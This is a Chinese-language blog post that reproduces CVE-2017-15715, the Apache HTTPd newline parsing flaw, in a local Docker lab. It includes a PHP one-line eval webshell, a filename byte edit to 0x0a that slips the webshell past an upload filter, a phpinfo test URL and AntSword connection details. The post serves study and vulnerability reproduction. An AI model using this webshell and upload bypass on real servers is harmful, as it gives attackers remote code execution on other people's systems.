Apache HTTPd换行解析漏洞复现CVE-2017-15715
漏洞利用
漏洞利用条件
Apache: 2.4.0~2.4.29
实际存到后端时的文件名可控
漏洞利用方式
bp中更改存放到后端的文件名
假设
原文件名为"evil.php" 文件存放在网站根目录下 evil.php的内容为: <?php @eval($_REQUEST[1]); ?>
操作:
先将"evil.php"改成"evil.php "即"evil.php[0x20]" 然后通过hex将其改为"evil.php[0x0a]" URL访问:http://ip/evil.php%0a?1=phpinfo(); 或蚁剑连接:http://ip/evil.php%0a ,密码是1
前置知识
-
当我们提到
Apache HTTP Server
时,通常指的是整个软件包,它包括了HTTP服务器的核心功能、模块化架构、配置文件、运行时环境等。Apache HTTP Server 提供了完整的 Web 服务器解决方案,可以用于托管和提供网站内容。 -
而
httpd
则是 Apache HTTP Server 的具体可执行程序的名称(通常在 Unix/Linux 系统上)。通过运行 httpd守护进程,Apache HTTP Server 开始监听指定的端口(例如默认的80端口),接收来自客户端的HTTP请求,并根据配置文件进行相应的处理和响应。 -
httpd可以通过mod_php来运行PHP网页
。其存在一个解析漏洞,在解析PHP时,如1.php0x0A将被按照1.php进行解析,导致绕过一些服务器的安全策略。 -
mod_php 是 Apache 的一个模块
,它允许将 PHP 解释器嵌入到 Apache 的进程中,并通过该模块将 PHP 代码集成到 Apache 的请求处理流程中。当 Apache 收到一个包含 PHP 代码的网页请求时,mod_php 模块负责解析该请求,将 PHP 代码交给 PHP 解释器进行解释执行,然后将执行结果返回给客户端浏览器。
当然,除了mod_php
,还存在其他方式来运行PHP网页:
1.PHP-FPM(PHP FastCGI Process Manager)
:PHP-FPM 是一个独立的进程管理器,通过 FastCGI 协议与 Web 服务器(例如 Apache 或 Nginx)进行通信。PHP-FPM 可以独立于 Web 服务器运行,提供更高的性能和灵活性。
2.CGI(Common Gateway Interface)
:CGI 是一种标准的 Web 服务器和应用程序之间的接口协议。通过将 PHP 解释器
作为 CGI 程序来运行 PHP 网页,Web 服务器可以通过 CGI 协议与 PHP 解释器进行通信并执行 PHP 代码。
3.FastCGI
:FastCGI 是一种改进的 CGI 协议,它使用长连接和进程池的方式提高了性能。类似于 CGI,FastCGI 可以将
PHP 解释器作为独立的进程来运行 PHP 网页,并通过协议与 Web 服务器进行通信
怎么选择?
这些方法都可以用来运行 PHP 网页,选择哪种方法取决于你的需求和配置。例如,mod_php 对于简单的 PHP 应用程序和较小的网站是一个简便且高效的选择,而 PHP-FPM 和 FastCGI 则适用于更大型、高流量的网站,提供更好的性能和可扩展性。
环境配置
find ./ -name *CVE-2017*
cd ./httpd/CVE-2017-15715
docker-compose build
docker-compose up -d
docker ps # 8080端口
漏洞复现
访问8080端口得:
尝试直接提交木马文件:
试着将php改为txt试试:
说明过滤的是.php
根据漏洞,1.php[0x0a]和1.php具有相同的效果,所以尝试绕过:
原来:"eval_POST2.php"
先改成:"eval_POST2.php "即:"eval_POST2.php[0x20]"
然后通过Hex,将其改为"eval_POST2.php[0x0a]"
改完后发送
回显:
payload:
http://192.168.40.148:8080/evil.php%0a?1=phpinfo();
顺便查看后端的情况:
docker exec <ID> /bin/bash
ls
cat e*
蚁剑连接:
标签:HTTPd,PHP,Web,15715,evil,漏洞,Apache,CVE,php From: https://www.cnblogs.com/hello-admin/p/17637223.html问:直接在bp的evil.php后换行可以吗?
答:
我们来看看直接换行后是什么
Hex:
URL访问:
没有出现404,但是也没有解析一句话木马
蚁剑也是一样:
来看看后台:可见一句话木马并没有什么异常
所以还是通过Hex得出0a比较好
如果有大佬知道怎么解释,欢迎留言